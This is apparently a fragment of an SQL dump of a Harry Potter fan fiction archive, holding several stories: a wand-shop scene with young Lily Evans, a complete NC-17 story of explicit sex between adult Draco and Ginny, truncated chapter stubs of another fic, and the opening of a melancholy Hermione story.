her green drawstring purse. &#8220;Yes, yes, it&#8217;s lovely, we&#8217;ll take it. Seven Galleons, I believe? Here you are, then. Come along, Narcissa, come along. We&#8217;ve much to do today. Thank you again, Mr. Ollivander. Good Day.&#8221; <p></p>The Holstroms left in a flurry of movement, leaving Lily quite speechless. <p></p>&#8220;Wow,&#8221; Addy said finally, &#8220;are they always like that?&#8221; <p></p>&#8220;Always,&#8221; said Mr. Ollivander. <p></p>&#8220;I thought you said the wand chooses the wizard.&#8221; <p></p>&#8220;So it does. So it<i> should.</i> You see my dear: a wizard can use any wand, but it doesn&#8217;t mean that they are<i> meant </i>for it. It is a firm belief of mine that there is one wand, which truly belongs to its owner--it obeys their command faithfully and loyally. A wand is indeed a wizard&#8217;s best friend. Those like Mrs. Holstrom?&#8221; He shook his hand sadly, &#8220;they deserve the wands they get.&#8221; <p></p>&#8220;What did you sell her again? Did you say Jarvey hair? What&#8217;s that?&#8221; <p></p>Mr. Ollivander smiled. &#8220;A Jarvey looks quite similar to a ferret, only they have the ability to speak. However their speech consists only of insults and the like. I simply thought it would compliment Narcissa&#8217;s<i> delightful </i>personality.&#8221; <p></p>The girls laughed and Mr. Ollivander smiled down at Lily once more. &#8220;And <i>you </i>my dear. Hold out the hand you write with.&quot; <p></p>Lily obeyed and Mr. Ollivander measured her arm, muttering under his breath as he did so, his eyes focused solely on the job at hand. He looked at Lily contemplatively and then nodded triumphantly. He bent below the front desk, resurging with a wand made of lightwood. <p></p>&quot;Willow, 10 &#188; inches. Quite swishy, if you you\'ll pardon the expression. <i>Perfect</i> for exquisite charm work. Go on-- swish it!&#8221; <p></p>Lily took the dark wood wand in her hand, and smiled. It felt so right in her small, eager hands-- they seemed to warm up at the mere touch of it. She made a small circular swish, feeling rather embarrassed at not knowing what the heck she was doing, and to her complete amazement, a jet of bright green light shot from the end of it. <p></p>Mr. Ollivander was delighted. &quot;Ah, a perfect fit.&quot; <p></p>&quot;Cor,&quot; Addy cried, &quot;It took him ten minutes to find one for me!&quot; <p></p>&quot;What\'s in it?&quot; <p></p>&quot;Unicorn tail.&quot; <p></p>&quot;And it\'s true that no two wands are the same?&#8221; <p></p>&#8220;Yes, that is quite correct . . .&#8221; he paused, &#8220;well. . . there are occasional exceptions. Once every so often, wands can be quite similar. I had one phoenix give out two tail feathers a few decades back, but . . .&#8221; a mysterious cloud befell him for an awkward moment, but he quickly dismissed it. &quot;Well, that\'s not important. If you are satisfied, Miss Evans, might I ring up your purchase?&quot; <p></p>Lily nodded happily and soon, the two girls were back on the streets of the Alley, which was decidedly less crowded now that the afternoon was now descending towards evening. The Evans and Wyndhams were standing close together next to Ollivander\'s store window. <p></p>&quot;Well now!&quot; said Harold jovially, &quot;All finished?&quot; <p></p>Lily nodded, holding out her wand proudly for all to see. &quot;Isn\'t it pretty?&quot; <p></p>&quot;Lovely darling, lovely,&quot; Barbara. &quot;Was that the last of it?&quot; <p></p>&quot;Yeah-- all finished.&quot; <p></p>&quot;Brilliant! Best be on our way, then, right?&quot; <p></p>Lily knew there was more eagerness in her voice than she\'d wished to betray, and it made her smile. Lily knew that her mother was being a very good sport about it all. As much as she wanted to stay in the Alley and wander in and out of the curious shops and discover all its nooks and crannies, she nodded in agreement with her mother. (Mr. and Mrs. Wyndham looked thoroughly relieved). <p></p>Stepping back out onto Charing Cross Road, Lily felt like a girl transformed. The streets of London, which had formerly impressed her, now seemed dull and unforgivably ordinary. She\'d seen the other side. It was <i>there </i>that her heart was wishing to return to. The were, however, two consoling things about re-entering the Muggle world. One was the fact that the Wyndhams insisted on treating Lily to a belated birthday dinner and the group of them ventured off to find a suitable place to indulge themselves in a decadent birthday feast. And then, of course, there was the girl walking alongside her. <p></p>The first friend she\'d ever had in her life. <p></p>\n\n<p></p>\n\n<p></p> '),
	(281, 1, '\n\n<p>Title: Bars and Bellybutton Rings</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Author: B R Cary</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Rating: NC-17</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Spoilers: None</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Disclaimer: Nope not mine, although I wouldn\'t mind laying claim to Draco. ; )</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Summary: What is it about a certain piece of jewelry that makes Draco Malfoy lose the control</p>\n\n<p>he is so famous for?</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Category: Draco/Other, Draco/Ginny</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Feedback: Please.  I would LOVE to know that you thought of this story - good or bad.  Send all</p>\n\n<p>feedback to writerbabe1013@hotmail.com</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Archive: Anywhere, just let me know first.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Author\'s Note: Even though this starts out as Draco/Other, please, please, please read this.  I</p>\n\n<p>promise that it all works out the way it should in the end. </p>\n\n<br wp="BR1"><br wp="BR2">\n<br wp="BR1"><br wp="BR2">\n<p>Bars and Bellybutton Rings</p>\n\n<br wp="BR1"><br wp="BR2">\n<br wp="BR1"><br wp="BR2">\n<p>Draco Malfoy sat with his drink in hand and his back to the bar, watching the crowd around him. </p>\n\n<p>Normally he wouldn\'t dream of coming into a place like this, a Muggle bar, but he had been</p>\n\n<p>bored with all his normal haunts in the Wizarding world.  He had wanted to try something</p>\n\n<p>different, but not even this place was capturing his attention.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Even more bored than before he got there, Draco was about to put his mug on the counter and</p>\n\n<p>leave when he suddenly spotted something out of the corner of his eye.  Turning, his attention</p>\n\n<p>was suddenly focused on one of the most amazing examples of womanhood he had ever seen. </p>\n\n<p>The woman wore tight, black, leather pants that rode low on her shapely hips.  Her top was a</p>\n\n<p>cropped, green, leather corset that showed off her cleavage and her flat, toned abs.  Her long,</p>\n\n<p>black hair tumbled seductively around her shoulders.  But what drew Draco\'s eyes the most was</p>\n\n<p>the small, silver, hoop that adorned the woman\'s navel and gleamed in the bar\'s low, smokey</p>\n\n<p>lighting.  He had never been one for anything Muggle.  In fact, Muggle things normally turned</p>\n\n<p>him off.  But there was something about seeing a Muggle body piercing on this woman that</p>\n\n<p>made him want to run his hands or, better yet, his tongue over it. </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>The woman made her way over to the bar and come to stand next to Draco.  She placed her</p>\n\n<p>order, then slowly turned to him.  &quot;You know, you would be so much better looking without the</p>\n\n<p>drool.&quot;  </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco watched as a teasing smile crossed the woman\'s face, making her even more stunning.  &quot;If</p>\n\n<p>you don\'t want men to drool, you shouldn\'t go out dressed like that.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>The woman laughed, which caused Draco\'s desire level to notch even higher.  &quot;Oh, forward and</p>\n\n<p>to the point.  I like that in a man.  So, mate, do you have a name?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco hesitated for a moment.  Should he tell her his real name?  Then he decided to throw</p>\n\n<p>caution to the wind.  &quot;Draco.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Fitting,&quot; the woman replied.  &quot;An unusual name for what I am sure is an unusual man.  So, tell</p>\n\n<p>me, Dragon Boy, are you as fiery as your name implies?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Could be,&quot; Draco shot back, admiring this woman\'s directness.  &quot;And may I ask your name?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Angel, and no, I\'m not usually one.&quot;  At Draco\'s laugh, Angel\'s smile widened.  &quot;So, are you</p>\n\n<p>waiting for someone to join you?  I mean, you don\'t strike me as the type of man that usually</p>\n\n<p>drinks alone.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I didn\'t feel like being with my usual crowd, so, tonight, I drink alone,&quot; Draco answered.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;The same thing happened to me.  I don\'t usually come to this bar.  Well, since we are here,</p>\n\n<p>would you care to dance?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco hesitated again.  Normally he hated to dance, but the thought of holding this woman in his</p>\n\n<p>arms was quite a turn on.  Why shouldn\'t he?  After all, it was only a dance, right?  He put his</p>\n\n<p>drink on the counter, then stood up and took the woman\'s pro-offered hand.  &quot;Sure, why not?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Angel\'s hand was soft and warm in Draco\'s.  She led him to the dance floor, but instead of</p>\n\n<p>stopping, she bypassed it and headed for the darkened area at the back of the bar.  She must have</p>\n\n<p>noticed Draco\'s surprise because she leaned in close and said,&quot; You didn\'t seem that thrilled</p>\n\n<p>about dancing, so I thought you would be more comfortable if you were away from the crowd.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco smiled at Angel\'s comment, knowing deep down that she had just wanted to get him</p>\n\n<p>alone.  He was flattered by that.  Despite his looks, it had been a long time since a woman had</p>\n\n<p>come on to him in such an obvious manner.  It was a nice feeling.  &quot;Thank you,&quot; he replied as he</p>\n\n<p>gently pulled Angel into his arms.  He began to move along with the beat of the slow song that</p>\n\n<p>was playing.  Angel began moving with him.  Draco could not help noticing how well she fit into</p>\n\n<p>his arms.  He pulled Angel a little closer and felt her bellybutton ring press into his stomach even</p>\n\n<p>through the fabric of his shirt. The feel of it caused him to moan lightly.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Angel moved back a little.  &quot;Are you all right?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>All Draco could do was nod.  He did not trust his voice at the moment.  His gaze met Angel\'s and</p>\n\n<p>before he fully realized what was happening, he was leaning in and capturing her lips with his. </p>\n\n<p>He felt a shock run through his entire body.  Keeping one arm wrapped around Angel\'s waist, he</p>\n\n<p>slid the other up her back.  Burying his hand in her hair, he deepened the kiss.  God, it felt so</p>\n\n<p>right to be kissing this woman.  He moved his mouth down to Angel\'s neck, using the hand he</p>\n\n<p>had in her hair to tip her head back to give him more to kiss.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco was so into making sure that no part of Angel\'s neck was missed that he did not notice</p>\n\n<p>two things.  The first was that the music had changed and a heavy, hard, rock beat filled the bar. </p>\n\n<p>The second was that Angel had slipped one of her hands between their bodies.  It did not even</p>\n\n<p>fully register when she undid his pants and slip a hand inside.  However, Angel\'s hand lightly</p>\n\n<p>grasping his dick caused Draco pull back from her neck.  &quot;What are you doing?&quot; he asked,</p>\n\n<p>completely embarrassed at how breathless he sounded.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>A mischievous smile crossed Angel\'s face.  &quot;If you don\'t know, I\'m not doing it right,&quot; she</p>\n\n<p>answered as she continued to lightly stoke him.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco moaned again, giving himself into the feelings Angel was causing, then the sound of</p>\n\n<p>breaking glass caused him to become once again aware of where they were.  Furtively, he</p>\n\n<p>glanced around to see if anyone was looking at them.  Luckily his back was toward the main part</p>\n\n<p>of the bar and all the other customers seemed too busy with their own business to notice that he</p>\n\n<p>was standing in a dark corner with a woman\'s hand down his pants.  &quot;We can\'t do this here,&quot; he</p>\n\n<p>said, his common sense finally over riding the lust-filled brain.  &quot;We\'re in the middle of a public</p>\n\n<p>place.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Angel stopped stroking him and leaned forward, whispering in Draco\'s ear.  &quot;Somehow you</p>\n\n<p>don\'t strike me as the type of man who usually cares about things like that.  I think you like the</p>\n\n<p>taboo, of doing things people wouldn\'t normally do.  Come on, Draco, tap into your wild side</p>\n\n<p>and give yourself into the pleasure.&quot;  She started stroking him once more.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Every fiber in his body told Draco that this was wrong. He shouldn\'t be allowing this to happen. </p>\n\n<p>After all, he was a Malfoy and they didn\'t do things like this in public.  Plus, he knew that</p>\n\n<p>Muggles had laws against public indecency, but he could not get his body to respond to what his</p>\n\n<p>mind was telling him.  Angel\'s hand felt too good.  Deciding to just to as she said and give into</p>\n\n<p>what he was feeling, he began to kiss her again to mask the sounds her touch was causing.  As</p>\n\n<p>she continued to stroke him, he could feel his orgasm building.  And though he tried to still the</p>\n\n<p>movement, he began thrusting his hips, trying desperately to create more friction.  Suddenly, just</p>\n\n<p>as Draco felt the beginning of his orgasm start to cause his body to tense up, Angel stopped and</p>\n\n<p>pulled her hand out of his pants.  He broke the kiss they were still engaging in and stepped back</p>\n\n<p>slightly, confused as to why she had stopped and more than a little frustrated.  He had almost</p>\n\n<p>been there.  &quot;Why the hell did you stop?  You\'re the one who told me to let go and enjoy what</p>\n\n<p>you were doing.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;You\'re right, I did, but I just realized that I have nothing to clean you up with.  I could go get</p>\n\n<p>some napkins, but I figured that would be a bit conspicuous,&quot; Angel said with a sheepish look on</p>\n\n<p>her face.  &quot;I\'m sorry.  I guess I shouldn\'t have started this here.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco started to get angry, then an idea came to him.  He had already crossed one line tonight, so</p>\n\n<p>why not go for broke.  He grabbed Angel and kissed her once more.  He made a path to her ear.</p>\n\n<p>&quot;Well,&quot; he said in a low, husky voice, &quot;now we are just going to have to finish what you started</p>\n\n<p>and I know just the place.&quot;  Turning Angel around, he guided her to the very back of the bar</p>\n\n<p>where the bathrooms were.  Opening the door to the women\'s room, he was happy to see that it</p>\n\n<p>was empty.  He stepped inside, making sure that Angel was right behind him.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco walked across the room and into the farthest stall.  After closing and locking the door, he</p>\n\n<p>turned to Angel.  He started to ask if she is all right with this when she grabbed him into a kiss. </p>\n\n<p>It was even more intense than the ones they had shared in the main area of the bar.  Draco felt</p>\n\n<p>Angel start to pull his shirt up, so be broke the kiss for a moment and yanked it off.  He dropped</p>\n\n<p>it on the floor, being beyond the point of caring about the sanitation of the room.  Reaching</p>\n\n<p>down, he undid the button of Angel\'s pants.  As he began pushing them down, he realized that</p>\n\n<p>she had no underwear on underneath.  The sight of her naked lower body caused him to sink to</p>\n\n<p>his knees.  He trailed kisses over Angel\'s exposed midriff.  When he reached her bellybutton, he</p>\n\n<p>touched the silver ring that was there.  &quot;God,&quot; he said softly, &quot;this thing is so sexy.&quot;  He then ran</p>\n\n<p>his tongue lightly over it, then gently sucked it into his mouth.  The cool metal was an interesting</p>\n\n<p>sensation against his warm tongue.  He played with it for a few moments, making sure to pay</p>\n\n<p>equal attention to her bellybutton as well.  Then he caught the aroma of Angel\'s arousal.  Never</p>\n\n<p>in his life had he smelled anything so wonderful.  It was deep, musky, and just a little spicy.  He</p>\n\n<p>knew he had to taste her as along with smelling her.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Pulling back a bit, Draco adjusted himself on the floor so that his discarded shirt was under his</p>\n\n<p>knees.  Grasping Angel\'s hips, he ran his tongue over her bellybutton ring once more on his way</p>\n\n<p>to the area between her thighs.  As he ran his tongue over her, a shudder ran throughout Angel\'s</p>\n\n<p>body.  She tasted even better than she smelled.  He continued his oral exploration, alternating</p>\n\n<p>between licking and sucking.  Just as his had earlier, Angel\'s hips began moving as she gave</p>\n\n<p>herself into the pleasure.  Draco wrapped one arm around her waist and the other hand he</p>\n\n<p>slipped in to join he questing tongue.  When he gently thrust his fingers up into her, Angel</p>\n\n<p>moaned his name and her whole body tensed up.  After she came, Draco gave her one final lick,</p>\n\n<p>then stood up.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;That was incredible,&quot; Angel said softly, still a bit out of breath.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I\'m just getting warmed up,&quot; Draco replied.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Angel smiled and leaned forward, wrapping her arms around Draco\'s neck.  As their lips met,</p>\n\n<p>Draco pushed down his pants.  They were still undone from Angel\'s earlier exploration, so they</p>\n\n<p>slid easily to the floor.  He knew how ready she already was, so he did not worry about that. </p>\n\n<p>Putting a hand on either of her hips, he moved to stand in front of her.  Angel released him for a</p>\n\n<p>moment, kicked off her shoes, then stepped out of her pants.  Once she was done, they resumed</p>\n\n<p>their former positions and as they began kissing, Draco slid into her.  He groaned deeply at the</p>\n\n<p>feeling of Angel wrapped around him.  She was hot and wet and fit around him like a glove.  It</p>\n\n<p>was if her body was made for his.  He began sliding slowly and steadily in and out of her,</p>\n\n<p>keeping the pace relaxed.  He did not want this to be over too quickly.  Angel began counter-</p>\n\n<p>thrusting and the feel of the cool leather of her top rubbing against his naked, sweaty chest only</p>\n\n<p>excited him further.  He kept up the slow pace for a few moments, then gradually began</p>\n\n<p>increasing the speed and force of his thrusts.  Angel seemed to agree with this new pace because</p>\n\n<p>she broke their kiss and tossed her head back, moaning loudly.  Draco began to nibble and lick</p>\n\n<p>the exposed skin of her neck, which only intensified the sounds of Angel\'s moans.  He hoped</p>\n\n<p>that the sound of the music in the bar was drowning out all the noise they were making because</p>\n\n<p>seeing Angel so turned on was causing him to respond just as vocally.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco could feel his orgasm quickly approaching.  He was amazed he had held out this long.  He</p>\n\n<p>could tell that Angel was not yet there, so he slid one hand down her leg and lifted her knee up</p>\n\n<p>to his waist.  Angel got what he was trying to do and wrapped her leg around him.  This caused</p>\n\n<p>him to change the angle of his thrusts and allowed him to go even deeper.  The sound of Angel\'s</p>\n\n<p>moans deepened as well.  This alerted Draco to the fact that she, too, was now close.  As he felt</p>\n\n<p>himself start to go over the edge, he reached down and began stroking Angel close to where they</p>\n\n<p>were joined.  The extra sensation worked and he felt Angel tense up around him just as he</p>\n\n<p>released himself into her.  He called out her name and she did the same with his.  After their</p>\n\n<p>mutual release, they stayed wrapped up in each other\'s arms.  A few minutes later, Draco felt</p>\n\n<p>Angel start laughing.  He pulled back a little and looked at her.  &quot;What\'s so funny?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;God, Draco, I can\'t believe we just had sex in the women\'s restroom.  I thought we were tying</p>\n\n<p>to be discrete?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Hey, I wasn\'t the one who stuck my hand down your pants.  And not that I wasn\'t thrilled to see</p>\n\n<p>you, Ginny, because I obviously was, but I thought you were visiting your family,&quot; Draco said as</p>\n\n<p>he looked down at his beautiful girlfriend and pushed a lock of hair away from her face.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I was, but they decided to call it an early night because Dad has his first day as head of the</p>\n\n<p>Ministry tomorrow.  I stopped by your flat, but when you weren\'t home, I used a Locating Spell</p>\n\n<p>to track you down.  Once I saw where you were, I decided to surprise you,&quot; Ginny explained.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco laughed softly.  &quot;That you did.  I\'ve never seen you dressed like that before.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Ginny laughed as well.  &quot;All part of the surprise.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Reaching down, Draco pulled up his pants, grabbing Ginny\'s leather pants and his shirt as he</p>\n\n<p>did. He handed the pants to Ginny.  &quot;It was a very nice surprise, but I have two questions.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;And what is that?&quot; Ginny asked as she slipped into her pants.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;Why did you ask me my name?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I thought it would be fun to pretend we didn\'t know each other.  I wanted to see how you would</p>\n\n<p>react.  That was also the reason I changed my hair color.  Just another part of the fantasy,&quot; Ginny</p>\n\n<p>said, then she muttered something under her breath and her hair changed from the black it had</p>\n\n<p>been back to her normal, dark red and the navel ring dissapeared.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco nodded.  That sounded like Ginny.  He loved that she had such a playful side.  &quot;Okay, that</p>\n\n<p>I understand, but why the name Angel?  I gave you my real name.  Why not give me yours?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>A blush crossed Ginny\'s features.  &quot;I chose Angel because you called me that our first night</p>\n\n<p>together.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Ginny\'s explanation brought a smile to Draco\'s face as he recalled that night six months ago. </p>\n\n<p>The three years since he and Ginny had gone to Hogwarts had brought about many changes. </p>\n\n<p>After witnessing first hand just how cruel his father was, Draco had joined Ginny and her family</p>\n\n<p>and friends in the fight against Voldermort.  Fighting side by side with Ginny had caused Draco</p>\n\n<p>to finally see the youngest Weasley for the woman she truly was and before he knew it, he had</p>\n\n<p>fallen in love.  Knowing how horrible he had treated Ginny and her family in the past, he had</p>\n\n<p>tried to change into the type of man he knew would be worthy of her.  Several months after</p>\n\n<p>Voldermort was defeated, Draco had finally gotten up to courage to admit to Ginny how he felt</p>\n\n<p>about her and he had been amazed to find out she felt the same way.  Their mutual declarations</p>\n\n<p>led them to his bed where they had made love for the first time together.  As he had lay there</p>\n\n<p>afterwards, he remembered looking down at her and whispering that he loved her and that she</p>\n\n<p>was his angel, the one that had truly saved him.  &quot;I thought you were asleep.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I wasn\'t.  I know how hard it is sometimes for you to express yourself, Draco.  Just know that I</p>\n\n<p>love you and treasured those words,&quot; Ginny said, smiling though there were tears in her eyes.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco\'s smile got wider in return, then he slipped his shirt over his head.  &quot;I love you, too,</p>\n\n<p>Ginny.  Don\'t ever doubt that.&quot;  He paused for a second.  &quot;As much as I would love to take up</p>\n\n<p>permanent residence here, I think we have been extremely lucky that no one has walked in on</p>\n\n<p>us.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I couldn\'t agree more,&quot; Ginny said as she stepped back into her shoes.  As she took a step</p>\n\n<p>through the door Draco had just opened, a look of disgust crossed her face.  </p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;What?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Ginny blushed again.  &quot;Nothing major.  I just realized that leather pants with no underwear is not</p>\n\n<p>the most comfortable thing to wear right after sex.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco snorted, then started laughing again.  &quot;No, I suppose not.&quot;  He noticed Ginny looking at</p>\n\n<p>him with a thoughtful look on her face.  &quot;Now what is it?&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>&quot;I was just thinking that if I had known you were going to react like you did, I would have tried</p>\n\n<p>this a year ago.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>Draco reached out and tucked a lock of hair behind Ginny\'s ear.  &quot;As hot sexy as you look right</p>\n\n<p>now, it\'s not the clothes that are such a turn on.  It\'s the person that is in them.&quot;</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>A smile lit up Ginny\'s face just before she leaned in and gave Draco a kiss that said what words</p>\n\n<p>just could not express.  She then stepped back and walked to the door of the bathroom.  She</p>\n\n<p>stopped at the entrance and turned back toward Draco.  &quot;Well, I guess that means I should take</p>\n\n<p>back the little item I got from Flights of Fantasy then, huh?&quot;  She raised her eyebrows playfully</p>\n\n<p>and opened the door.</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>The image of his Ginny wearing nothing more then a piece of gauzy fabric, caused Draco to</p>\n\n<p>swallow a moan.   As he followed her out of the bathroom, he wondered just how fast they could</p>\n\n<p>get back to her flat so she could model her purchase and if he could talk her into wearing the</p>\n\n<p>navel ring again.</p>\n\n<br wp="BR1"><br wp="BR2">\n<br wp="BR1"><br wp="BR2">\n<p>The End</p>\n\n<br wp="BR1"><br wp="BR2">\n<br wp="BR1"><br wp="BR2">\n<br wp="BR1"><br wp="BR2">\n<br wp="BR1"><br wp="BR2">\n\n\n'),
	(282, 1, '<p class="MsoNormal"><b>A/N</b>: This is a new D/G fic I\'m working on. Enjoy!\n</p>\n<p class="MsoNormal">!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'),
	(282, 2, '<p class="MsoNormal"><b>A/N</b>: This is a new D/G fic I\'m working on. Enjoy!\nPlease ignore the first Chapter. Something happened.</p>\n<p class="MsoNormal">!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'),
	(282, 3, '<p class="MsoNormal"><b>A/N</b>: This is a new D/G fic I\'m working on. Enjoy!\n</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"><b>Disclaimer</b>: I do not own anything that has to do\nwith Harry Potter, because J.K. Rowling owns them. Also I don\'t own the song\nPaint It Black, The Rolling Stones own that. Also the poem "Darkness"\nis my poem.<br/>\n<br/>\n!!!!!!!!!!!!!!!'),
	(283, 1, ' <p>Authors Note: Well, here goes my first fic on portkey. This being the third revision of this story, I guess all I can do is send it out into the wide, wide world and hope it does not incur any flames. *Pats fic on head* Off you go!</p>\n\n<p>Disclaimer: I own nothing; it all belongs to the marvelous J.K. Rowling. </p>\n\n<p>Forget</p>\n\n<p>Hermione spent many of her days reading her favorite book of poetry. There was one in particular that she loved, called &quot;Forget&quot;. It talked about how things in the past couldn\'t be changed, an aspect of life which Hermione had come face to face with so many times during the course of her twenty-three years. That poem had always brought tears to her eyes, and she knew as well as anyone that a good long cry was often the best thing for letting out one\'s feelings. Cheery sunlight filtered into the room, past the blood red curtains, casting shapes upon the floor. A young woman with long, curly brown hair sat in a patched and faded armchair, staring wistfully out the window. She was curled up, rather like a small, frightened child, with her feet tucked underneath her, a tattered book of poetry on her lap, and her head resting on her arms. There was a lump in Hermione\'s throat, a stinging in her eyes, and an ache in her heart. The tears threatened to come, but she fought the oncoming sobs. Hermione wished she could let herself cry, let herself grieve for her old friend.... Harry had been wounded in battle against the dark lord, and had died later that same night. Memories flooded into her mind at the thought of her old friend\'s name. </p>\n\n<p>Hermione remembered their time at Hogwarts vividly. She had been a brainy little witch who no one would have suspected of anything even remotely interesting or adventurous. Harry had chosen the life of a mischievous, famous Quidditch player with an unnerving tendency for getting into life-or-death situations. Of course, there had been Ron as well. He never changed, never seemed to grow up at all. In some ways, this was cute and endearing. In others, it was just annoying. But, they were always together, and the other students found it odd if one was ever seen without the other two.</p>\n\n<p>To pin-point a time frame for the disintegration of the &quot;dream team&quot;, as Professor Snape had so condescendingly referred to the three friends, would be impossible. They had just...drifted. There had been no quarrel, no huge argument culminating in a fist-fight to justify it. Harry, Ron, and Hermione had simply grown apart over the years. By their seventh year, the only conversation between them was restricted to strained &quot;hello&quot;s in the hallway between classes. </p>\n\n<p>Ron started to follow his older brothers around, eventually resulting in membership in their crowd, which consisted of the &quot;class clowns&quot; of Hogwarts. Harry had started hanging around with Dean Thomas and Seamus Finnigan more than ever, while Hermione drafted Ginny as her new best friend. The two girls got along fairly well, but Ginny\'s continuous gushing over Harry was enough to annoy anyone. The three old friends hadn\'t even signed each other\'s yearbooks come graduation, hadnt even said goodbye to each other as they stepped off the Hogwarts Express for the last time. Ron enlisted in the army straight out of school, as did a lot of the other. Harry, of course, was made commander of his own platoon. Hermione had heard a rumor that Ron was actually serving with Harry as his commanding officer. She remembered thinking that they were probably either best friends again or at each other\'s throats day and night. The latter brought with it a very funny mental image of Harry hitting Ron over the head with a frying pan. She tried not to think about her old friends too much....</p>\n\n<p>Now, Hermione was a very successful author. She wrote mostly instructional textbooks that were used in some of the best magic schools in the world, including the Salem Institute of Witchcraft, and even her old school, Hogwarts. She had a nice house, a cute little calico cat (Crookshanks had been hit by a car in the summer between her fifth and sixth years at Hogwarts), and she was engaged to a wonderful wizard. His name was James Silverton, and every time Hermione spoke his name aloud she had to work to keep her voice from trembling. Harry\'s father\'s name. It was eerie. James was tall, with sandy hair and clear gray eyes. He did have a rather large nose, but she overlooked that minor detail. He was a quiet, smart over-acheiver, rather like Hermione herself. He loved to read, and kept their little house stocked with books. On the surface, Hermione appeared to have everything a woman could want, but her life was consumed with guilt and sadness.</p>\n\n<p>The night of Harry\'s death was the night that Hermione had met her fiance. </p>\n\n<p>She had gone to a popular London dance club with Ginny, hoping to lose herself in the loud music and forget her problems, if only for a few hours. The place was dark, since the only lighting came from flashing strobe lights and the huge, glittering disco ball suspended from the ceiling. It was also packed, which was to be expected on a Friday night. People of every race and origin were all dancing together, people wearing everything from the chic styles of Paris and Rome to people wearing almost nothing at all. One man\'s ensemble looked suspiciously as if it were painted on. Upon entering the club, Hermione had felt she had made a mistake in coming. She had chosen to leave her safe, comfortable little house for this? She slipped through the surging crowds with difficulty, leaving Ginny near the entrance to fend for herself. Within ten minutes, the pulsing techno music became Hermione\'s new enemy, causing a painful pounding in the space between her ears. She set off in the direction of the bar, trying hard to ignore certain lude comments made to her as she jostled her way through the crowd; all she wanted was to find someone normal in this freak show- either that or a very stiff drink, whichever she came across first. &gt;\n\n</p><p>After sipping her martini for a few moments, Hermione came to the conclusion that there weren\'t any normal people in the whole club. The girl sitting next to her was a perfect example. She had at least six holes in each of her ears, blue hair that stuck out in all directions, and a large tattoo of a unicorn on her left upper thigh. She was wearing a shiny silver baby-doll dress that showed as much skin as the average bathing suit and silver ankle boots. She had also apparently tried to save time by applying two or three weeks\' worth of blue eye liner. When sitting next to Hermione (who was wearing a black knee-length skirt printed with tiny flowers, a white blouse, black sandals, and no makeup whatsoever), this girl could have been labeled a hooker- a cheap hooker. </p>\n\n<p>Suddenly, a tall, blonde man sat down on Hermione\'s other side. He was wearing a neatly pressed suit, minus the tie, and he looked like an angel sent down from heaven to snatch her out of the clutches of these weirdos. He ordered a beer, and then turned as if to introduce himself . </p>\n\n<p>&quot;Hi. Having fun?&quot; he 